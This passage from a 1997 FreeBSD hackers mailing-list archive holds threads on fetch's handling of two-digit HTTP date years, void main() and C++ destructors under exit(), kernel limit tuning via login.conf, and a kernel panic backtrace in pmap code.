[203.8.15.25]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id PAA21229 for ; Sat, 31 May 1997 15:55:23 -0700 (PDT) Received: (from danny@localhost) by panda.hilink.com.au (8.8.5/8.8.5) id IAA24409; Sun, 1 Jun 1997 08:55:13 +1000 (EST) Date: Sun, 1 Jun 1997 08:55:12 +1000 (EST) From: "Daniel O'Callaghan" To: Brian Somers cc: freebsd-hackers@FreeBSD.ORG Subject: Re: fetch In-Reply-To: <199705311510.QAA12461@awfulhak.demon.co.uk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sat, 31 May 1997, Brian Somers wrote: > My ISP (demon.co.uk) sends http dates like this: > > Sat, 31-May-97 10:48:56 GMT > > According to http.c in the fetch sources, it's expecting > a full year here, ie. > > Sat, 31-May-1997 10:48:56 ..... > > Has anyone any objection to me making it allow the first ? Better make it "2000-compliant" :-) Danny From owner-freebsd-hackers Sat May 31 16:08:32 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA21690 for hackers-outgoing; Sat, 31 May 1997 16:08:32 -0700 (PDT) Received: from punt-2.mail.demon.net (punt-2b.mail.demon.net [194.217.242.5]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id QAA21685 for ; Sat, 31 May 1997 16:08:28 -0700 (PDT) Received: from erlenstar.demon.co.uk ([194.222.144.22]) by punt-2.mail.demon.net id aa0516681; 31 May 97 23:54 BST Received: (from andrew@localhost) by erlenstar.demon.co.uk (8.8.5/8.8.5) id XAA29670; Sat, 31 May 1997 23:54:32 +0100 (BST) To: Brian Somers Cc: freebsd-hackers@freebsd.org Subject: Re: fetch References: <199705311510.QAA12461@awfulhak.demon.co.uk> From: Andrew Gierth In-Reply-To: Brian Somers's message of Sat, 31 May 1997 16:10:32 +0100 X-Mayan-Date: Long count = 12.19.4.3.15; tzolkin = 13 Men; haab = 13 Zip X-Attribution: AG Date: 31 May 1997 23:54:31 +0100 Message-ID: <87d8q7b6c8.fsf@erlenstar.demon.co.uk> Lines: 33 X-Mailer: Gnus v5.3/Emacs 19.34 Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >>>>> "Brian" == Brian Somers writes: Brian> Hi, Brian> My ISP (demon.co.uk) sends http dates like this: Brian> Sat, 31-May-97 10:48:56 GMT Brian> According to http.c in the fetch sources, it's expecting Brian> a full year here, ie. Brian> Sat, 31-May-1997 10:48:56 ..... Brian> Has anyone any objection to me making it allow the first ? If fetch does not support the 31-May-97 format, then it violates the RFCs and should be fixed, regardless of whether it offends anyone's sensibilities concerning Y2K issues. Technically, Demon's server is misbehaving slightly, since the three allowed date formats are: Sun, 06 Nov 1994 08:49:37 GMT ; RFC 822, updated by RFC 1123 Sunday, 06-Nov-94 08:49:37 GMT ; RFC 850, obsoleted by RFC 1036 Sun Nov 6 08:49:37 1994 ; ANSI C's asctime() format and it is using the second of these with a shortened weekday name, but the robustness principle requires that fetch should cope with this. HTTP/1.1 requires that only the first form be generated, but the homepages server only does HTTP/1.0, which allows either of the first two forms. -- Andrew. From owner-freebsd-hackers Sat May 31 17:21:26 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA24725 for hackers-outgoing; Sat, 31 May 1997 17:21:26 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id RAA24720 for ; Sat, 31 May 1997 17:21:19 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id CAA01019; Sun, 1 Jun 1997 02:21:09 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id CAA02269; Sun, 1 Jun 1997 02:04:17 +0200 (MET DST) Message-ID: <19970601020417.FV62313@uriah.heep.sax.de> Date: Sun, 1 Jun 1997 02:04:17 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG (freebsd-hackers) Cc: un_x@anchorage.net (Steve Howe) Subject: Re: Borland 16bit bcc vs cc/gcc (float) References: <19970531092837.DA51579@uriah.heep.sax.de> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Steve Howe wrote: > what's non-standard about long double? Nothing, i've been mistaken on this. > they're standard ANSI C types ... ? much of my software > relies on this precision - i can't do 64 bit int-to-string-to-int > conversions without them, ... Well, but ANSI says nothing about the actual precision. An implementation is allowed to represent float/double/long double all with 6 bytes, and would still be ANSI-compliant. It's merely an incident that most i386 implementations do long double as 80 bits, since this is the i387 `native' format. > ahhh! :) everyone says this - but exit() never returns, so main > never returns anything, so IMHO, main should always be type void. No. The compiler would even be allowed to throw your main() into the bit-bucket if you declare it to be `void'. And it's not too hypothetical that some architecture might have different calling conventions for functions returning int vs. functions returning void. main() returns an int _by definition_, that's nothing you could change. OTOH, you aren't required to call exit() explicitly, it's implicitly called by definition upon return from main() (and being passed the return value from main()). > please help me! :) Read Bruce's followup. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sat May 31 17:43:16 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA25573 for hackers-outgoing; Sat, 31 May 1997 17:43:16 -0700 (PDT) Received: from misery.sdf.com (misery.sdf.com [204.244.210.193]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id RAA25568 for ; Sat, 31 May 1997 17:43:12 -0700 (PDT) Received: from localhost (tom@localhost) by misery.sdf.com (8.8.5/8.8.5) with SMTP id RAA05366; Sat, 31 May 1997 17:41:19 -0700 (PDT) X-Authentication-Warning: misery.sdf.com: tom owned process doing -bs Date: Sat, 31 May 1997 17:41:18 -0700 (PDT) From: Tom Samplonius To: Terry Lambert cc: jkh@time.cdrom.com, hackers@FreeBSD.ORG Subject: Re: LINT and GENERIC - between a rock and a generic place. In-Reply-To: <199705312249.PAA11870@phaeton.artisoft.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sat, 31 May 1997, Terry Lambert wrote: > > On Sat, 31 May 1997, Jordan K. Hubbard wrote: > > > > > More and more people are trying to use GENERIC as a template for their > > > own kernels and they're losing, of course, because generic sets many > > > limits (like max children or open files) too low. > > > > Now that we have login.conf this is pretty much a dead issue isn't it? > > Why heavily customize the kernel config file, when you can do it with > > login.conf? In fact the stock login.conf already has a "news" class for > > news server. > > Jordan is speaking to hard limits. The login.conf speaks to soft > limits, and is still limited to what it can set by the hard limits. Well, login.conf does allow you set hard and soft limits, at least in the language of setrlimit() > The hard limits are the result of static allocations, general at > initialization time before the kernel is really running, like > globally declared arrays. The only two things I can think of is the maximum number of open files, and mbufs clusters. Why can't these be handled like setting device setttings (IRQs, baseports, etc)? Boot with a "-c" to change them, before the kernel is really running, and then write the changes into kernel after boot with dset. > AIX was probably right when it made all this stuff dynamic. Then you > could at least sysctl the "hard limit" after the machine was up. I guess there is performance penalty? > Terry Lambert > terry@lambert.org > --- > Any opinions in this posting are my own and not those of my present > or previous employers. Tom From owner-freebsd-hackers Sat May 31 17:52:32 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA25803 for hackers-outgoing; Sat, 31 May 1997 17:52:32 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id RAA25793 for ; Sat, 31 May 1997 17:52:25 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id CAA01169; Sun, 1 Jun 1997 02:52:18 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id CAA02488; Sun, 1 Jun 1997 02:40:43 +0200 (MET DST) Message-ID: <19970601024043.PG35696@uriah.heep.sax.de> Date: Sun, 1 Jun 1997 02:40:43 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-hackers@freebsd.org (FreeBSD hackers) Cc: un_x@anchorage.net (Steve Howe) Subject: Re: Borland 16bit bcc vs cc/gcc (float) References: <1.5.4.32.19970531220152.008b46f0@mindspring.com> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <1.5.4.32.19970531220152.008b46f0@mindspring.com>; from Kevin P. Neal on May 31, 1997 18:01:52 -0400 Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk As Kevin P. Neal wrote: > Who says you always have to use exit()? > > In fact, I've observed C++ code that never calls the destructors if you > exit() of out a program. Global destructors should be called. Destructors for objects local to main(), of course, not. j@uriah 119% cat foo.cc #include #include class myobj { static int count; public: myobj() { cout << "Created my object # " << ++count << "\n"; } ~myobj() { cout << "Destroyed my object, " << --count << " remaining.\n"; } }; int myobj::count = 0; myobj y; int main(int argc, char **argv) { myobj x; if (argc > 1) exit(0); } j@uriah 120% c++ foo.cc j@uriah 121% ./a.out Created my object # 1 Created my object # 2 Destroyed my object, 1 remaining. Destroyed my object, 0 remaining. j@uriah 122% ./a.out "call exit() now" Created my object # 1 Created my object # 2 Destroyed my object, 1 remaining. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sat May 31 17:52:50 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA25846 for hackers-outgoing; Sat, 31 May 1997 17:52:50 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id RAA25841 for ; Sat, 31 May 1997 17:52:43 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id CAA01173 for hackers@FreeBSD.ORG; Sun, 1 Jun 1997 02:52:41 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id CAA02509; Sun, 1 Jun 1997 02:45:54 +0200 (MET DST) Message-ID: <19970601024554.ZT19356@uriah.heep.sax.de> Date: Sun, 1 Jun 1997 02:45:54 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Subject: Re: LINT and GENERIC - between a rock and a generic place. References: <199705312249.PAA11870@phaeton.artisoft.com> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@i.dont.like.personal.ccs.of.endless.threads (Joerg Wunsch) In-Reply-To: <199705312249.PAA11870@phaeton.artisoft.com>; from Terry Lambert on May 31, 1997 15:49:17 -0700 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Terry Lambert wrote: > Jordan is speaking to hard limits. The login.conf speaks to soft > limits, and is still limited to what it can set by the hard limits. Terry is speaking about TerryBSD. He could at least RTFM before posting. :) login.conf can set both, althoug it can't bump the ultimate (hard hard) limits. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sat May 31 18:01:53 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA26695 for hackers-outgoing; Sat, 31 May 1997 18:01:53 -0700 (PDT) Received: from andrsn.stanford.edu (root@andrsn.Stanford.EDU [36.33.0.163]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA26690 for ; Sat, 31 May 1997 18:01:49 -0700 (PDT) Received: from localhost (andrsn@localhost.Stanford.EDU [127.0.0.1]) by andrsn.stanford.edu (8.8.5/8.6.12) with SMTP id SAA09097; Sat, 31 May 1997 18:01:46 -0700 (PDT) Date: Sat, 31 May 1997 18:01:46 -0700 (PDT) From: Annelise Anderson To: "Jordan K. Hubbard" cc: hackers@FreeBSD.ORG Subject: Re: LINT and GENERIC - between a rock and a generic place. In-Reply-To: <9876.865110612@time.cdrom.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sat, 31 May 1997, Jordan K. Hubbard wrote: > More and more people are trying to use GENERIC as a template for their > own kernels and they're losing, of course, because generic sets many > limits (like max children or open files) too low. So maybe the limits could be increased? Or was it a trick question? Annelise From owner-freebsd-hackers Sat May 31 18:10:51 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA26934 for hackers-outgoing; Sat, 31 May 1997 18:10:51 -0700 (PDT) Received: from awfulhak.demon.co.uk (awfulhak.demon.co.uk [158.152.17.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA26928 for ; Sat, 31 May 1997 18:10:47 -0700 (PDT) Received: from awfulhak.demon.co.uk (localhost [127.0.0.1]) by awfulhak.demon.co.uk (8.8.5/8.8.5) with ESMTP id BAA11167; Sun, 1 Jun 1997 01:15:37 +0100 (BST) Message-Id: <199706010015.BAA11167@awfulhak.demon.co.uk> X-Mailer: exmh version 1.6.9 8/22/96 To: "Kevin P. Neal" cc: Steve Howe , freebsd-hackers Subject: Re: Borland 16bit bcc vs cc/gcc (float) In-reply-to: Your message of "Sat, 31 May 1997 18:01:52 EDT." <1.5.4.32.19970531220152.008b46f0@mindspring.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 01 Jun 1997 01:15:37 +0100 From: Brian Somers Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > At 12:03 PM 5/31/97 -0800, Steve Howe wrote: [.....] > Who says you always have to use exit()? > > In fact, I've observed C++ code that never calls the destructors if you > exit() of out a program. [.....] Yep, it at least won't call the destructors for the main() stack vars, no matter how smart the compiler is. > -- > XCOMM Kevin P. Neal, Junior, Comp. Sci. - House of Retrocomputing > XCOMM mailto:kpneal@pobox.com - http://www.pobox.com/~kpn/ > XCOMM kpneal@eos.ncsu.edu Spoken by Keir Finlow-Bates: > XCOMM "Good grief, I've just noticed I've typed in a rant. Sorry chaps!" > -- Brian , Don't _EVER_ lose your sense of humour.... From owner-freebsd-hackers Sat May 31 18:11:30 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA26977 for hackers-outgoing; Sat, 31 May 1997 18:11:30 -0700 (PDT) Received: from awfulhak.demon.co.uk (awfulhak.demon.co.uk [158.152.17.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA26971 for ; Sat, 31 May 1997 18:11:25 -0700 (PDT) Received: from awfulhak.demon.co.uk (localhost [127.0.0.1]) by awfulhak.demon.co.uk (8.8.5/8.8.5) with ESMTP id BAA10800; Sun, 1 Jun 1997 01:04:48 +0100 (BST) Message-Id: <199706010004.BAA10800@awfulhak.demon.co.uk> X-Mailer: exmh version 1.6.9 8/22/96 To: Terry Lambert cc: brian@awfulhak.org (Brian Somers), freebsd-hackers@FreeBSD.ORG, internet@demon.net Subject: Re: fetch In-reply-to: Your message of "Sat, 31 May 1997 11:27:34 PDT." <199705311827.LAA11005@phaeton.artisoft.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 01 Jun 1997 01:04:47 +0100 From: Brian Somers Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > Hi, > > > > My ISP (demon.co.uk) sends http dates like this: > > > > Sat, 31-May-97 10:48:56 GMT > > > > According to http.c in the fetch sources, it's expecting > > a full year here, ie. > > > > Sat, 31-May-1997 10:48:56 ..... > > > > Has anyone any objection to me making it allow the first ? > > As long as you treat it as the year 0097, no objection at all; > otherwise you are introducing a year 2000 error. That's clearly wrong too. There's not much to gain by being pedantic here. The year 2000 AFAICS is a non-issue as I would expect this format to say "31-May-101" in 4 years time, and struct tm expects "year-1900". rfc822 says that 31-May-97 is ok. rfc1123 says: The syntax for the date is hereby changed to: date = 1*2DIGIT month 2*4DIGIT All mail software SHOULD use 4-digit years in dates, to ease the transition to the next century. And rfc2068 says: HTTP applications have historically allowed three different formats for the representation of date/time stamps: Sun, 06 Nov 1994 08:49:37 GMT ; RFC 822, updated by RFC 1123 Sunday, 06-Nov-94 08:49:37 GMT ; RFC 850, obsoleted by RFC 1036 Sun Nov 6 08:49:37 1994 ; ANSI C's asctime() format The first format is preferred as an Internet standard and represents a fixed-length subset of that defined by RFC 1123 (an update to RFC 822). The important bit here is that it specifically says that only the fixed length version is ok. The next paragraph says: Note: Recipients of date values are encouraged to be robust in accepting date values that may have been sent by non-HTTP applications, as is sometimes the case when retrieving or posting messages via proxies/gateways to SMTP or NNTP. So the "spirit" is to be lenient with people, although the letter of the law says it's gotta be four digit. I'd therefore consider it reasonable to accept two or three digit years as being assignable directly to tm_year, and four digit years as being subject to the "-1900" code. > Has demon refused to correct their server software? Or have > they not been asked? They havn't been asked (yet). I've cc'd them and would expect a reply sometime soon. > Terry Lambert > terry@lambert.org > --- > Any opinions in this posting are my own and not those of my present > or previous employers. -- Brian , Don't _EVER_ lose your sense of humour.... From owner-freebsd-hackers Sat May 31 18:34:51 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA27919 for hackers-outgoing; Sat, 31 May 1997 18:34:51 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA27914 for ; Sat, 31 May 1997 18:34:49 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost [127.0.0.1]) by time.cdrom.com (8.8.5/8.6.9) with ESMTP id SAA07882; Sat, 31 May 1997 18:33:52 -0700 (PDT) To: Tom Samplonius cc: Terry Lambert , hackers@FreeBSD.ORG Subject: Re: LINT and GENERIC - between a rock and a generic place. In-reply-to: Your message of "Sat, 31 May 1997 17:41:18 PDT." Date: Sat, 31 May 1997 18:33:52 -0700 Message-ID: <7878.865128832@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Why can't these be handled like setting device setttings (IRQs, > baseports, etc)? Boot with a "-c" to change them, before the kernel is > really running, and then write the changes into kernel after boot with > dset. Because it's a totally different mechanism than editing isa_device structures in userconfig? Are you volunteering to make the changes that many have discussed but no one has undertaken in order to support generalized variable setting in userconfig? ;-) Jordan From owner-freebsd-hackers Sat May 31 20:21:52 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA02322 for hackers-outgoing; Sat, 31 May 1997 20:21:52 -0700 (PDT) Received: from iceberg.anchorage.net. (root@iceberg.anchorage.net [207.14.72.150]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id UAA02317 for ; Sat, 31 May 1997 20:21:48 -0700 (PDT) Received: from aak.anchorage.net (ai-131 [207.14.72.131]) by iceberg.anchorage.net. (8.6.11/8.7.3) with SMTP id SAA01528; Sat, 31 May 1997 18:18:10 -0800 Date: Sat, 31 May 1997 19:10:53 -0800 (AKDT) From: Steve Howe X-Sender: abc@aak.anchorage.net To: "Kevin P. Neal" cc: freebsd-hackers Subject: Re: Borland 16bit bcc vs cc/gcc (float) In-Reply-To: <1.5.4.32.19970531220152.008b46f0@mindspring.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sat, 31 May 1997, Kevin P. Neal wrote: > >ahhh! :) everyone says this - but exit() never returns, so main > >never returns anything, so IMHO, main should always be type void. > Who says you always have to use exit()? i'm sorry, i meant if you use exit. i spent alot of time writing BIOS's for embedded systems where i had to sqeeze out every meaningless opcode, and i found that if return codes generate quite a few opcodes, which is a waste if your bootstrapping and jumping to an OS which will create it's own stack. further, from what i gather, it's good to call exit() on a real OS when you finish a program in case there a hidden/extraneous clean-up functions that need to be completed. and since exit doesn't return to main, any return in main is a waste of code. it might also give someone the wrong idea that main actually does return something. > In fact, I've observed C++ code that never calls the destructors if you > exit() of out a program. > > This is one of my favorite rants. I gave a friend of mine the 15 minute > explanation of why void main() is wrong, and he told his instructor. She > placed him out of her class and into the next one up. i'm just saying it's not an absolute. ------------------------------------------------------------------------- Sleep: a sign a caffeine deprivation ... http://www.anchorage.net/~un_x ------------------------------------------------------------------------- From owner-freebsd-hackers Sat May 31 20:56:32 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA04296 for hackers-outgoing; Sat, 31 May 1997 20:56:32 -0700 (PDT) Received: from zeus.gel.usherb.ca (zeus.gel.usherb.ca [132.210.70.7]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id UAA04291 for ; Sat, 31 May 1997 20:56:30 -0700 (PDT) Received: from pollux.gel.usherb.ca by zeus.gel.usherb.ca (4.1/SMI-4.1) id AA27452; Sat, 31 May 97 23:56:24 EDT Received: by pollux.gel.usherb.ca (SMI-8.6/SMI-SVR4) id XAA16901; Sat, 31 May 1997 23:56:23 -0400 Date: Sat, 31 May 1997 23:56:22 -0400 (EDT) From: "Alex.Boisvert" To: Michael Smith Cc: hackers@FreeBSD.ORG Subject: Re: Applixware hangs In-Reply-To: <199705082312.IAA05318@genesis.atrad.adelaide.edu.au> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hello Mike - I just wanted to let you know that I cvsup`ed 2.2-STABLE today and recompiled my kernel... and Applixware now works! Have you recently made changes to getdents() in the linux emulator? I'm now a happy camper. Alex. ... now if I can only get accented characters in the word processor ... From owner-freebsd-hackers Sat May 31 21:20:47 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA04896 for hackers-outgoing; Sat, 31 May 1997 21:20:47 -0700 (PDT) Received: from feephi.phofarm.com (gate.phofarm.com [206.21.77.129]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id VAA04881 for ; Sat, 31 May 1997 21:20:27 -0700 (PDT) Received: from feephi.phofarm.com (feephi.phofarm.com [206.21.77.130]) by feephi.phofarm.com (8.8.5/8.8.5) with SMTP id AAA00634 for ; Sun, 1 Jun 1997 00:17:50 -0400 (EDT) Message-ID: <3390F7E9.41C67EA6@phofarm.com> Date: Sun, 01 Jun 1997 00:17:45 -0400 From: "Danny J. Zerkel" Organization: Photon Farmers X-Mailer: Mozilla 3.01 (X11; I; FreeBSD 2.2-STABLE i386) MIME-Version: 1.0 To: hackers@freebsd.org Subject: Crashing while making world Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I am running RELENG_2_2 within a day or two. While doing "make libraries", my machine crashed twice, both in the same kernel function, but called from different places. Crash 1: #0 boot (howto=256) at ../../kern/kern_shutdown.c:243 #1 0xf0112412 in panic (fmt=0xf019846f "page fault") at ../../kern/kern_shutdown.c:367 #2 0xf0198fd6 in trap_fatal (frame=0xefbffecc) at ../../i386/i386/trap.c:742 #3 0xf0198ac4 in trap_pfault (frame=0xefbffecc, usermode=0) at ../../i386/i386/trap.c:653 #4 0xf019879f in trap (frame={tf_es = 16, tf_ds = 16, tf_edi = 0, tf_esi = -260185244, tf_ebp = -272630000, tf_isp = -272630028, tf_ebx = 134270976, tf_edx = 0, tf_ecx = 22847488, tf_eax = 32, tf_trapno = 12, tf_err = 0, tf_eip = -266778562, tf_cs = 8, tf_eflags = 66066, tf_esp = -265504772, tf_ss = -2147483648}) at ../../i386/i386/trap.c:311 #5 0xf019483e in pmap_pte_quick (pmap=0xf07de364, va=134270976) at ../../i386/i386/pmap.c:499 #6 0xf0196fb1 in pmap_ts_referenced (pa=22847488) at ../../i386/i386/pmap.c:2881 #7 0xf018d368 in vm_pageout_scan () at ../../vm/vm_pageout.c:794 #8 0xf018d870 in vm_pageout () at ../../vm/vm_pageout.c:1013 #9 0xf01084c6 in kproc_start (udata=0xf01d9040) at ../../kern/init_main.c:240 #10 0xf0108464 in main (framep=0xefbfffb8) at ../../kern/init_main.c:190 Crash 2: #0 boot (howto=256) at ../../kern/kern_shutdown.c:243 #1 0xf0112412 in panic (fmt=0xf019846f "page fault") at ../../kern/kern_shutdown.c:367 #2 0xf0198fd6 in trap_fatal (frame=0xefbffcd0) at ../../i386/i386/trap.c:742 #3 0xf0198ac4 in trap_pfault (frame=0xefbffcd0, usermode=0) at ../../i386/i386/trap.c:653 #4 0xf019879f in trap (frame={tf_es = 16, tf_ds = 16, tf_edi = 4096, tf_esi = -259231644, tf_ebp = -272630508, tf_isp = -272630536, tf_ebx = 3551232, tf_edx = 0, tf_ecx = -266270244, tf_eax = 0, tf_trapno = 12, tf_err = 0, tf_eip = -266778562, tf_cs = 8, tf_eflags = 66135, tf_esp = -265627400, tf_ss = 64}) at ../../i386/i386/trap.c:311 #5 0xf019483e in pmap_pte_quick (pmap=0xf08c7064, va=3551232) at ../../i386/i386/pmap.c:499 #6 0xf0196d54 in pmap_changebit (pa=22605824, bit=64, setem=0) at ../../i386/i386/pmap.c:2744 #7 0xf0197013 in pmap_clear_modify (pa=22605824) at ../../i386/i386/pmap.c:2915 #8 0xf018c054 in vm_page_set_validclean (m=0xf02690d8, base=0, size=4096) at ../../vm/vm_page.c:1222 #9 0xf012e7d8 in vfs_page_set_valid (bp=0xf26ff352, off=0, m=0xf02690d8) at ../../kern/vfs_bio.c:1839 #10 0xf012e8e6 in vfs_clean_pages (bp=0xf26ff352) at ../../kern/vfs_bio.c:1896 #11 0xf012c82c in bdwrite (bp=0xf26ff352) at ../../kern/vfs_bio.c:437 #12 0xf012fb68 in cluster_write (bp=0xf26ff352, filesize=180224) at ../../kern/vfs_cluster.c:562 #13 0xf017ac14 in ffs_write (ap=0xefbffee8) at ../../ufs/ufs/ufs_readwrite.c:291 #14 0xf01369eb in vn_write (fp=0xf08fff80, uio=0xefbfff34, cred=0xf0744900) at vnode_if.h:283 #15 0xf0119dd3 in write (p=0xf0723e00, uap=0xefbfff94, retval=0xefbfff84) at ../../kern/sys_generic.c:263 #16 0xf019926f in syscall (frame={tf_es = 39, tf_ds = 39, tf_edi = 1, tf_esi = 602112, tf_ebp = -272639292, tf_isp = -272629788, tf_ebx = 218420, tf_edx = 143920, tf_ecx = 7, tf_eax = 4, tf_trapno = 0, tf_err = 7, tf_eip = 134716593, tf_cs = 31, tf_eflags = 658, tf_esp = -272639320, tf_ss = 39}) at ../../i386/i386/trap.c:890 Line 499 of pmap.c (pmap_pte_quick) is: if (pde = (unsigned) pmap->pm_pdir[va >> PDRSHIFT]) { And in both cases, pmap->pm_pdir is 0x0: $1 = {pm_pdir = 0x0, pm_pteobj = 0xf08f0f80, pm_pvlist = { tqh_first = 0x0, tqh_last = 0xf07de36c}, pm_count = 1, pm_flags = 0, pm_stats = {resident_count = -1, wired_count = 0}, pm_ptphint = 0x0} $1 = {pm_pdir = 0x0, pm_pteobj = 0x0, pm_pvlist = {tqh_first = 0x0, tqh_last = 0x0}, pm_count = 0, pm_flags = 0, pm_stats = { resident_count = 0, wired_count = 98724}, pm_ptphint = 0x0} I tried to trace forward from the calling function's arguments but was unable to find either of these pmap's within the listed pa's. Here is the beginning of my system config: FreeBSD 2.2-STABLE #10: Sat May 31 16:01:03 EDT 1997 root@feephi.phofarm.com:/usr/src/sys/compile/feephi CPU: Pentium (90.74-MHz 586-class CPU) Origin = "GenuineIntel" Id = 0x525 Stepping=5 Features=0x1bf real memory = 33554432 (32768K bytes) avail memory = 30601216 (29884K bytes) Probing for devices on PCI bus 0: chip0 rev 17 on pci0:0 chip1 rev 3 on pci0:2 ... I'm usually pretty good at figuring out how systems got into a panic, but this has me befuddled. Any ideas? Danny J. Zerkel Photon Farmers dzerkel@phofarm.com From owner-freebsd-hackers Sat May 31 21:24:12 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA05010 for hackers-outgoing; Sat, 31 May 1997 21:24:12 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id VAA05005 for ; Sat, 31 May 1997 21:24:08 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id NAA11598; Sun, 1 Jun 1997 13:53:49 +0930 (CST) From: Michael Smith Message-Id: <199706010423.NAA11598@genesis.atrad.adelaide.edu.au> Subject: Re: diskless hardware *design* suggestions In-Reply-To: <199705312113.OAA10085@seagull.rtd.com> from Don Yuniskis at "May 31, 97 02:13:56 pm" To: dgy@rtd.com (Don Yuniskis) Date: Sun, 1 Jun 1997 13:53:49 +0930 (CST) Cc: 